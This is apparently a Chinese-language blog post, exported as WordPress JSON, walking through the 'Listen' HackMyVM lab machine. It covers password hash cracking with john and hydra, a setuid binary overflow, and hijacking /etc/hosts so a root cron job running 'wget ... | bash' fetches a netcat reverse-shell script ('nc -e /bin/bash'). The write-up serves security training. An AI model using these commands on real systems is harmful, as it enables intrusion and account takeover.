{"id":911,"date":"2025-06-26T17:08:19","date_gmt":"2025-06-26T09:08:19","guid":{"rendered":"http:\/\/162.14.82.114\/?p=911"},"modified":"2025-06-26T17:08:19","modified_gmt":"2025-06-26T09:08:19","slug":"hmv-_-listen","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/911\/06\/26\/2025\/","title":{"rendered":"hmv[-_-] Listen"},"content":{"rendered":"

Listen<\/h1>\n

\"image-20250626073127692\"<\/div>
\n
\"image-20250626101526020\"<\/div><\/p>\n
\n

\u9898\u76ee\u662f\u4e00\u4e2a\u63d0\u793a\uff0c\u8d2f\u7a7f\u4e86\u6574\u4e2a\u9776\u673a\u8fc7\u7a0b\u3002\u3002\u3002\u3002<\/p>\n<\/blockquote>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nRustScan: Where '404 Not Found' meets '200 OK'.\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.100:22\nOpen 192.168.10.100:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)\n| ssh-hostkey: \n|   2048 c2:91:d9:a5:f7:a3:98:1f:c1:4a:70:28:aa:ba:a4:10 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDfYzBJQsUZrqSGhBjydbjtAuxvwq\/5PTn9cKOuRU3cX0PvqfV4TOIdbAhysBsQfoAezIuKQSky\/KbmLZCdAxzLWvNROwtHdyVIUI4PmMWpqVeO\/AxPFgKzlLcW1q\/CSWAtyUdNUbFGTxidKlBduWppBufd74VupdA\/aOTeqH8JWHCvJjfjRBvKohMR0oAM21ezNDSw1FrJ9pxpv90gPyqTX\/9TA5J0XopnsDFMbzjTj0\/aEiFrTmIOWvq9IlkEoIaSPq+raInzbhy3UTzJmAxl0bb0yM3+uWeu3IEp+i9+cGxtf5vgNwiRkdAI3Ki6QHjrSHsFQ1m7o\/fV83e\/BZlX\n|   256 3e:1f:c9:eb:c0:6f:24:06:fc:52:5f:2f:1b:35:33:ec (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKCfpcXOvl2zgP5HXJMxdKvTg3lsZ50vTDc76l1MehwnvWf1y7XsyAtheRg4heZYt63CxxBs6Bsf1PdEbRSF4tE=\n|   256 ec:64:87:04:9a:4b:32:fe:2d:1f:9a:b0:81:d3:7c:cf (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILxmQFkVzRqAQH1sdqxSGaIS5QDjKFKCSgpZhE9I5qWO\n80\/tcp open  http    syn-ack ttl 64 nginx 1.14.2\n|_http-title: Site doesn't have a title (text\/html).\n| http-methods: \n|_  Supported Methods: GET HEAD\n|_http-server-header: nginx\/1.14.2\nMAC Address: 08:00:27:D2:01:9D (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\n
\u4e0d\u626b\u63cf\u65e0\u6cd5\u8fdb\u884c\u4e0b\u4e00\u6b65\u597d\u50cf\u3002\u3002\u3002\u3002<\/p>\n<\/blockquote>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ gobuster dir -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x php,txt,html    \n===============================================================\nGobuster v3.6\nby OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)\n===============================================================\n[+] Url:                     http:\/\/192.168.10.100\/\n[+] Method:                  GET\n[+] Threads:                 10\n[+] Wordlist:                \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt\n[+] Negative Status codes:   404\n[+] User Agent:              gobuster\/3.6\n[+] Extensions:              php,txt,html\n[+] Timeout:                 10s\n===============================================================\nStarting gobuster in directory enumeration mode\n===============================================================\n\/index.html           (Status: 200) [Size: 1341]<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ whatweb http:\/\/$IP\nhttp:\/\/192.168.10.100 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx\/1.14.2], IP[192.168.10.100], nginx[1.14.2]\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ curl http:\/\/$IP                                           \n<pre>\n<h1> Please Listen <\/h1>\nWhen I ask you to listen to me\nand you start giving me advice,\nYou have not done what I asked.\n\nWhen I ask you to listen to me\nand you begin to tell me why\nI shouldnt feel that way,\nyou are trampling on my feelings.\n\nWhen I ask you to listen to me\nand you feel you have to do something\nto solve my problem,\nyou have failed me,\nstrange as that may seem.\n\nListen! All I ask is that you listen.\nDont talk or do, just hear me\u2026\n\nAnd I can do for myself; I am not helpless.\nMaybe discouraged and faltering,\nbut not helpless.\n\nWhen you do something for me that I can and need to do for myself,\nyou contribute to my fear and\nInadequacy.\n\nBut when you accept as a simple fact\nThat I feel what I feel,\nNo matter how irrational,\nThen I can stop trying to convince\nYou and get about this business\nOf understanding whats behind\nThis irrational feeling.\n\nAnd when thats clear, the answers are obvious and I dont need advice.\nIrrational feelings make sense when\nwe understand whats behind them.\n\nSo please listen, and just hear me.\nAnd if you want to talk, wait a minute\nfor your turn, and I will listen to you.\n\n-Leo Buscaglia\n<\/pre>\n\n<!--\nLeo please, stop using your poems as password!\nleo:$6$GyxLtjMYaQWxRxfl$w0mjIXfmU1T8bac2HgweZmxgFjGSiX8kbPDWhJzAzFn.BFk9X9fPT6DHXlp.A3J5yA64qQJH6Iu4K4AW4THIw.:18551:0:99999:7:::\n--><\/code><\/pre>\n
\u5c1d\u8bd5\u7206\u7834<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ echo 'leo:$6$GyxLtjMYaQWxRxfl$w0mjIXfmU1T8bac2HgweZmxgFjGSiX8kbPDWhJzAzFn.BFk9X9fPT6DHXlp.A3J5yA64qQJH6Iu4K4AW4THIw.:18551:0:99999:7:::' > hash\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ john -w=\/usr\/share\/wordlists\/rockyou.txt hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128\/128 SSE2 2x])\nCost 1 (iteration count) is 5000 for all loaded hashes\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status<\/code><\/pre>\n
\u4e0d\u80fd\u5e72\u7b49\u7740\uff0c\u5927\u6982\u7387\u662f\u78b0\u649e\u4e0d\u51fa\u6765\u7684\uff0c\u4e0d\u7136\u4e0d\u4f1a\u6709\u63d0\u793a\uff0c\u4e0d\u8981\u62ff\u4f60\u7684\u8bd7\u5f53\u5bc6\u7801<\/code>\uff0c\u5c1d\u8bd5\u7ed3\u5408\u5b57\u5178\u8fdb\u884c\u7206\u7834\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ cewl http:\/\/$IP\/ -d 1 -m 4 --lowercase > dict\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ head dict                                                              \nCeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)\nlisten\nwhen\nthat\nfeel\nplease\nhave\nirrational\ndont\ntalk\n\n# \u65b9\u6cd5\u4e00\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ john -w=dict hash\nUsing default input encoding: UTF-8\nLoaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128\/128 SSE2 2x])\nCost 1 (iteration count) is 5000 for all loaded hashes\nWill run 4 OpenMP threads\nPress 'q' or Ctrl-C to abort, almost any other key for status\ncontribute       (leo)     \n1g 0:00:00:00 DONE (2025-06-25 22:34) 5.555g\/s 433.3p\/s 433.3c\/s 433.3C\/s CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https:\/\/digi.ninja\/)..understanding\nUse the "--show" option to display all of the cracked passwords reliably\nSession completed. \n\n# \u65b9\u6cd5\u4e8c\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ hydra -l leo -P dict -f ssh:\/\/$IP:22 2>\/dev\/null\nHydra v9.5 (c) 2023 by van Hauser\/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).\n\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) starting at 2025-06-25 22:28:02\n[DATA] max 16 tasks per 1 server, overall 16 tasks, 78 login tries (l:1\/p:78), ~5 tries per task\n[DATA] attacking ssh:\/\/192.168.10.100:22\/\n[22][ssh] host: 192.168.10.100   login: leo   password: contribute\n[STATUS] attack finished for 192.168.10.100 (valid pair found)\n1 of 1 target successfully completed, 1 valid password found\nHydra (https:\/\/github.com\/vanhauser-thc\/thc-hydra) finished at 2025-06-25 22:28:17<\/code><\/pre>\n
\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
\"image-20250626102859961\"<\/div><\/p>\n
\u63d0\u6743<\/h2>\n
pwn\u4e0d\u4e86\u4e00\u70b9<\/h3>\n
leo@listen:~$ ls -la\ntotal 44\ndrwxr-xr-x 2 leo  leo   4096 Oct 16  2020 .\ndrwxr-xr-x 5 root root  4096 Oct 16  2020 ..\n-rw------- 1 leo  leo     12 Oct 16  2020 .bash_history\n-rw-r--r-- 1 leo  leo    220 Oct 16  2020 .bash_logout\n-rw-r--r-- 1 leo  leo   3526 Oct 16  2020 .bashrc\n-rwsrws--- 1 root leo  16872 Oct 16  2020 poem\n-rw-r--r-- 1 leo  leo    807 Oct 16  2020 .profile\nleo@listen:~$ file poem \npoem: setuid, setgid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter \/lib64\/ld-linux-x86-64.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=25ff2d15c48083f9091df18cd42f240457f745d3, not stripped<\/code><\/pre>\n
\u4e0b\u8f7d\u5230\u672c\u5730\u770b\u770b\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ pwn checksec poem             \n[*] '\/home\/kali\/temp\/Listen\/poem'\n    Arch:       amd64-64-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        PIE enabled\n    Stripped:   No<\/code><\/pre>\n
64\u4f4d\u67b6\u6784\u3001Partial RELRO\u3001\u6ca1\u6709\u6808\u4fdd\u62a4(canary)\u3001\u542f\u7528\u4e86NX(\u4e0d\u53ef\u6267\u884c\u6808)\u3001\u542f\u7528\u4e86PIE(\u5730\u5740\u968f\u673a\u5316)\u3001\u672a\u5265\u79bb\u7b26\u53f7\u3002<\/p>\n
\u53cd\u7f16\u8bd1\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  char v4; \/\/ [rsp+10h] [rbp-70h]\n  int v5; \/\/ [rsp+7Ch] [rbp-4h]\n\n  printf("Ask me:\\n ", argv, envp, argv);\n  __isoc99_scanf("%s", &v4);\n  if ( v5 == 5880 )\n  {\n    setuid(0);\n    setgid(0);\n    system("\/bin\/bash");\n  }\n  else\n  {\n    puts("\\nWhy");\n  }\n  return 0;\n}<\/code><\/pre>\n
\u5c1d\u8bd5\u6ea2\u51fa\u8986\u76d6\u5230V5<\/code>\u5373\u53ef\u83b7\u53d6rootshell\uff01\uff01\uff01\uff01<\/p>\n
leo@listen:~$ .\/poem\nAsk me:\n aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\nWhy\nSegmentation fault<\/code><\/pre>\n
\u8c8c\u4f3c\u5b58\u5728\u6ea2\u51fa\u6f0f\u6d1e\uff0c\u4f46\u662f\u8fdb\u884c\u5229\u7528\u4e0d\u51fa\u6765\u3002\u3002\u3002\u3002\u3002<\/p>\n
UDP \u6570\u636e\u62a5<\/h3>\n
\u4f7f\u7528 wireshark \u8fdb\u884c\u5206\u6790\uff1a<\/p>\n
\"image-20250626164639307\"<\/div>
\n
\"image-20250626164851895\"<\/div><\/p>\n
NKnock me to port 1337\nsilence\/listentome<\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884c\u5229\u7528\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ knock $IP 1337\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ sudo nmap -sS $IP   \nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-06-26 04:50 EDT\nNmap scan report for 192.168.10.102\nHost is up (0.00062s latency).\nNot shown: 998 closed tcp ports (reset)\nPORT   STATE SERVICE\n22\/tcp open  ssh\n80\/tcp open  http\nMAC Address: 08:00:27:A3:60:FC (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\n\nNmap done: 1 IP address (1 host up) scanned in 0.37 seconds\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ sudo nmap -p 1337 -sCV $IP\nStarting Nmap 7.95 ( https:\/\/nmap.org ) at 2025-06-26 04:51 EDT\nNmap scan report for 192.168.10.102\nHost is up (0.00087s latency).\n\nPORT     STATE  SERVICE VERSION\n1337\/tcp closed waste\nMAC Address: 08:00:27:A3:60:FC (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\n\nService detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\nNmap done: 1 IP address (1 host up) scanned in 0.50 seconds<\/code><\/pre>\n
\u4f3c\u4e4e\u6ca1\u5565\u7528\uff0c\u5c1d\u8bd5\u5207\u6362\u7528\u6237\u3002\u3002\u3002\u3002<\/p>\n
\"image-20250626165310925\"<\/div><\/p>\n
\u63d0\u6743\u7528\u6237listen<\/h3>\n
silence@listen:~$ ls -la\ntotal 36\ndrwxr-xr-x 3 silence silence 4096 Oct 16  2020 .\ndrwxr-xr-x 5 root    root    4096 Oct 16  2020 ..\n-rw-r--r-- 1 silence silence  220 Oct 16  2020 .bash_logout\n-rw-r--r-- 1 silence silence 3526 Oct 16  2020 .bashrc\n-rw-r----- 1 root    silence   53 Oct 16  2020 listen.sh\ndrwxr-xr-x 3 silence silence 4096 Oct 16  2020 .local\n-rw-rw---- 1 silence silence   64 Oct 16  2020 note.txt\n-rw-r--r-- 1 silence silence  807 Oct 16  2020 .profile\n-rw------- 1 silence silence  260 Oct 16  2020 .Xauthority\nsilence@listen:~$ cat note.txt \n"listen" told me that if I listen, I will hear his password....\nsilence@listen:~$ cat listen.sh\n#!\/bin\/sh\ncat \/home\/listen\/password.txt > \/dev\/pts\/4\nsilence@listen:~$ ls -al \/dev\/pts\ntotal 0\ndrwxr-xr-x  2 root root      0 Jun 26 04:18 .\ndrwxr-xr-x 17 root root   3180 Jun 26 04:18 ..\ncrw--w----  1 leo  tty  136, 0 Jun 26 04:55 0\nc---------  1 root root   5, 2 Jun 26 04:18 ptmx<\/code><\/pre>\n
\u8fd9\u80af\u5b9a\u662f\u4e00\u4e2a\u5b9a\u65f6\u4efb\u52a1\uff0c\u63d0\u793a\u9700\u8981\u6211\u4eec\u503e\u542c\uff0c\u5c1d\u8bd5\u591a\u5f00\u51e0\u4e2a ssh\uff0c\u6491\u5230\u76ee\u6807\u3002<\/p>\n
silence@listen:~$ ls -la \/dev\/pts\ntotal 0\ndrwxr-xr-x  2 root    root      0 Jun 26 04:18 .\ndrwxr-xr-x 17 root    root   3180 Jun 26 04:18 ..\ncrw--w----  1 leo     tty  136, 0 Jun 26 04:55 0\ncrw--w----  1 silence tty  136, 1 Jun 26 04:56 1\ncrw--w----  1 silence tty  136, 2 Jun 26 04:56 2\ncrw--w----  1 silence tty  136, 3 Jun 26 04:57 3\ncrw--w----  1 silence tty  136, 4 Jun 26 04:57 4\nc---------  1 root    root   5, 2 Jun 26 04:18 ptmx<\/code><\/pre>\n
\u7b49\u5f85\u5b9a\u65f6\u4efb\u52a1\u5f39\u8fc7\u6765\u3002\u3002\u3002\u3002\u3002<\/p>\n
\"image-20250626165945764\"<\/div><\/p>\n
\u62ff\u5230\u4e86\u5bc6\u7801\u3002\u3002\u3002shhhhhh<\/code><\/p>\n
\"image-20250626170019406\"<\/div><\/p>\n
\u52ab\u6301host<\/h3>\n
listen@listen:~$ ls -la\ntotal 36\ndrwxr-xr-x 3 listen listen 4096 Oct 16  2020 .\ndrwxr-xr-x 5 root   root   4096 Oct 16  2020 ..\n-rw-r--r-- 1 listen listen  220 Oct 16  2020 .bash_logout\n-rw-r--r-- 1 listen listen 3526 Oct 16  2020 .bashrc\n-rw-r--r-- 1 root   root     46 Oct 16  2020 listentome.sh\ndrwxr-xr-x 3 listen listen 4096 Oct 16  2020 .local\n-rw------- 1 listen listen    8 Oct 16  2020 password.txt\n-rw-r--r-- 1 listen listen  807 Oct 16  2020 .profile\n-rw------- 1 listen listen   15 Oct 16  2020 user.txt\nlisten@listen:~$ cat password.txt \nshhhhhh\nlisten@listen:~$ cat user.txt \nHMVimlistening\nlisten@listen:~$ cat listentome.sh \nwget -O - -q http:\/\/listen\/ihearyou.sh | bash\nlisten@listen:~$ ls -la \/etc\/hosts\n-rw-rw-r-- 1 root listen 186 Oct 16  2020 \/etc\/hosts<\/code><\/pre>\n
\u4e00\u770b\u53c8\u662f\u5b9a\u65f6\u4efb\u52a1\uff0c\u5c1d\u8bd5\u6dfb\u52a0dns\uff0c\u4f7f\u5176\u6307\u5411\u54b1\u4eec\u672c\u5730\uff0c\u7136\u540e\u628a\u53cd\u5f39shell\u4f20\u8fc7\u53bb\u3002<\/p>\n
192.168.10.107    listen<\/code><\/pre>\n
listen@listen:~$ cat \/etc\/hosts\n127.0.0.1       localhost\n127.0.1.1       listen\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters\nlisten@listen:~$ nano \/etc\/hosts\nlisten@listen:~$ cat \/etc\/hosts\n127.0.0.1       localhost\n192.168.10.107  listen\n\n# The following lines are desirable for IPv6 capable hosts\n::1     localhost ip6-localhost ip6-loopback\nff02::1 ip6-allnodes\nff02::2 ip6-allrouters<\/code><\/pre>\n
\u5728\u672c\u5730\u641e\u4e00\u4e2a\u53cd\u5f39shell\u7b49\u5b9a\u65f6\u4efb\u52a1\u89e6\u53d1\u4e0b\u8f7d\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ vim ihearyou.sh                                 \n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ cat ihearyou.sh                                            \nnc -e \/bin\/bash 192.168.10.107 1234\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/Listen]\n\u2514\u2500$ chmod +x ihearyou.sh<\/code><\/pre>\n
\u8fc7\u4e00\u4f1a\u5c31\u89e6\u53d1\u4e86\uff1a<\/p>\n
\"image-20250626170547844\"<\/div><\/p>\n
\u7136\u540e\u5b9a\u65f6\u4efb\u52a1\u89e6\u53d1\u53cd\u5f39\u8fc7\u6765\u4e86\uff1a<\/p>\n
\"image-20250626170610195\"<\/div><\/p>\n
(remote) root@listen:\/root# ls -la\ntotal 36\ndrwx------  3 root root 4096 Oct 16  2020 .\ndrwxr-xr-x 18 root root 4096 Oct 16  2020 ..\n-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\n-rwxrwx---  1 root root  203 Oct 16  2020 knockme.py\ndrwxr-xr-x  3 root root 4096 Oct 16  2020 .local\n-rw-r--r--  1 root root  148 Aug 17  2015 .profile\n-rw-------  1 root root   16 Oct 16  2020 root.txt\n-rw-r--r--  1 root root   66 Oct 16  2020 .selected_editor\n-rwxrwx---  1 root root  243 Oct 16  2020 silence.py\n(remote) root@listen:\/root# cat root.txt \nHMVthxforlisten\n(remote) root@listen:\/root# cat silence.py \nimport time\nfrom socket import *\n\ncs = socket(AF_INET, SOCK_DGRAM)\ncs.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\ncs.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)\nwhile True:\n        cs.sendto('silence\/listentome', ('255.255.255.255', 54545))\n        time.sleep(30)\n\n(remote) root@listen:\/root# cat knockme.py\nfrom socket import *\ncs = socket(AF_INET, SOCK_DGRAM)\ncs.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)\ncs.setsockopt(SOL_SOCKET, SO_BROADCAST, 1)\ncs.sendto('Knock me to port 1337', ('255.255.255.255', 54545))<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"
Listen \u9898\u76ee\u662f\u4e00\u4e2a\u63d0\u793a\uff0c\u8d2f\u7a7f\u4e86\u6574\u4e2a\u9776\u673a\u8fc7\u7a0b\u3002\u3002\u3002\u3002 \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\u327fkali)-[ […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-911","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/911","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=911"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/911\/revisions"}],"predecessor-version":[{"id":912,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/911\/revisions\/912"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=911"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=911"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=911"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}